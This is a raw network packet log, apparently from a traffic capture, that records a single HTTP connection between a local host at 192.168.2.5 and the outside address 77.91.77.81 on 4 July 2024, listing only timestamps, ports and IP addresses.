Jul 4, 2024 22:20:38.855092049 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.855118990 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.855134010 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.855135918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.855178118 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.855180025 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.855194092 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.855205059 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.855223894 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.855256081 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.898283958 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898377895 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.898452044 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898463011 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898473978 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898485899 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898499012 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898504019 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.898555040 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.898586988 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898598909 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898607969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898632050 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.898643017 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.898705959 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898715973 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898730993 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898739100 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.898741961 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898755074 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.898766041 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.898796082 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.899837017 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.899883032 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.899905920 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.899918079 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.899949074 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.899962902 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.899997950 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.900008917 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.900027990 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.900036097 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.900041103 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.900052071 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.900072098 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.900084972 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913201094 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913212061 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913227081 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913250923 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913256884 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913294077 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913305044 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913307905 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913319111 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913331032 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913331032 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913362026 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913391113 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913569927 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913580894 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913590908 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913603067 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913614035 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913614988 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913626909 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913638115 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913646936 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913654089 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913656950 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913686037 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913702011 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913794041 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913803101 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913837910 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913868904 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913877964 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913887978 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.913914919 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.913930893 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914046049 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914057016 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914067030 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914077044 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914087057 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914091110 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914097071 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914103985 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914115906 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914136887 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914158106 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914232969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914273024 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914309025 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914323092 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914345980 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914359093 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914372921 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914382935 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914413929 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914499998 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914510012 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914520025 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914529085 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914540052 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914544106 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914566994 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914576054 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914587021 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914598942 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914598942 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914621115 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914635897 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914767981 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914779902 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914789915 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914802074 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914803028 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914832115 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914856911 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914899111 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914910078 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.914938927 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.914951086 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.915019989 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915031910 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915060043 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.915146112 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915157080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915167093 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915179014 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915189981 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915190935 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.915200949 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915205956 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.915214062 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915239096 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.915254116 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.915410995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915431976 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915441990 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915451050 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915452003 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.915462971 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915473938 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915474892 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.915486097 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915498018 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915498018 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.915509939 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.915538073 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.915538073 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.915561914 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.944154978 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944221020 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.944391012 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944401026 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944406986 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944411993 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944422007 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944432974 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944439888 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.944446087 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944458008 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944504023 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.944504023 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.944531918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944569111 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.944607019 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944619894 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944648981 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.944694042 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944705963 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944715977 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944726944 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944735050 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.944739103 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944756985 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.944778919 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.944896936 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944911957 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944946051 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.944960117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944971085 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.944993973 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.945008039 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.945031881 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.945075035 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.945086002 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.945116043 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.945153952 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.945164919 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.945192099 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.945193052 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.945207119 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.945230961 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.945255995 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.945255995 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.945276976 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.945287943 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.945313931 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.945332050 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.988452911 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988502979 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988513947 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988513947 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.988540888 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.988645077 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988656998 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988667011 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988677025 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988687038 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.988686085 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988718033 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.988739967 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.988843918 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988854885 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988859892 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988872051 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988882065 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.988883972 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.988919973 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.988931894 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.988989115 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.989029884 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.989923000 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.989933968 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.989943027 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.989972115 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.989993095 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.990020990 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.990031958 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.990063906 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.990139961 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.990149975 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.990154982 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.990180969 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.990202904 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.011914968 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.011924982 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.011931896 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.011985064 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012013912 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012027025 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012056112 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012059927 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012073040 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012096882 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012120962 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012295008 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012305975 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012315989 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012326956 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012339115 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012342930 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012351990 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012363911 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012368917 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012388945 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012406111 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012556076 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012594938 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012742043 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012753010 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012763023 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012773037 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012785912 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012790918 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012797117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012809992 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012819052 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012823105 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012836933 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012837887 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012860060 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012886047 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.012981892 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012991905 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.012998104 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013004065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013035059 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.013137102 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013151884 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013161898 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013181925 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.013202906 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.013288975 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013299942 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013309002 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013319969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013328075 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.013331890 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013345003 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013355017 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013355970 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.013366938 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013374090 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.013379097 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013391018 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013394117 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.013402939 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013415098 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013417959 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.013427973 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013432980 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.013458967 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.013480902 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.013936996 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013948917 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013958931 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013971090 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013982058 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013993025 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.013993979 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.014005899 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.014014006 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.014018059 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.014030933 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.014031887 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.014043093 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.014055967 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.014079094 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.014250994 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.014265060 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.014286995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.014301062 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.014329910 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.014329910 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:39.014389038 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.014400959 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.014410973 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.014422894 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:39.014440060 CEST	49711	80	192.168.2.5	77.91.77.81
